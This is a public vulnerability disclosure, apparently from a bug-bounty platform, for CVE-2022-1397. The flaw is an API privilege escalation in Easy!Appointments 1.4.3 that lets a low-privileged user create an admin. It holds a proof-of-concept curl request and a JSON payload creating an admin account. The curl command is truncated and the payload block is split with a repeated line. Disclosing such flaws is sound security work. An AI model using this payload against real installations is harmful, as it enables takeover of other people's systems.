API Privilege Escalation in alextselegidis/easyappointments

0

Valid Reported on Apr 15th 2022

Description

Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, and such elevation or changes should have been prevented by the application. This is usually caused by a flaw in the application.
On Easy!Appointments API authorization is checked against the user's existence, without validating the permissions. As a result, a low privileged user (eg. provider) can create a new admin user via the "/api/v1/admins/" endpoint and take over the system.

Proof of Concept

```
curl --request POST https://easyappointments.org/index.php/api/v1/admins/ -
```

payload.json

```
{
        "id": 100,
        "firstName": "Admin",
        "lastName": "Admin",
        "email": "admin@easyappointments.org",
        "mobile": null,
        "phone": "111",
        "address": null,
        "city": null,
        "state": null,
        "zip": null,
        "notes": null,
```

```
        "notes": null,
        "timezone": "UTC",
        "settings": {
            "username": "usern@me",
            "password": "p@ssw0rd",
            "notifications": true,
            "calendarView": "default"
        }
    }
```

Impact

Full system takeover.

CVE
CVE-2022-1397
(Published)

Vulnerability Type
CWE-269: Improper Privilege Management

Severity
High (8.8)

Registry
Other

Affected Version
1.4.3

Visibility
Public

Status
Fixed

Found by

Francesco Carlucci
@francescocarlucci
unranked

Fixed by

Alex Tselegidis
@alextselegidis

Chat with us

unranked

This report was seen 623 times.

We are processing your report and will contact the **alextselegidis/easyappointments** team within 24 hours. 7 months ago

We have contacted a member of the **alextselegidis/easyappointments** team and are waiting to hear back 7 months ago

Alex Tselegidis validated this vulnerability 7 months ago

Francesco Carlucci has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

We have sent a fix follow up to the **alextselegidis/easyappointments** team. We will try again in 7 days. 7 months ago

We have sent a second fix follow up to the **alextselegidis/easyappointments** team. We will try again in 10 days. 7 months ago

We have sent a third and final fix follow up to the **alextselegidis/easyappointments** team. This report is now considered stale. 7 months ago

Alex Tselegidis marked this as fixed in **1.5.0** with commit **63dbb5** 7 months ago

Alex Tselegidis has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation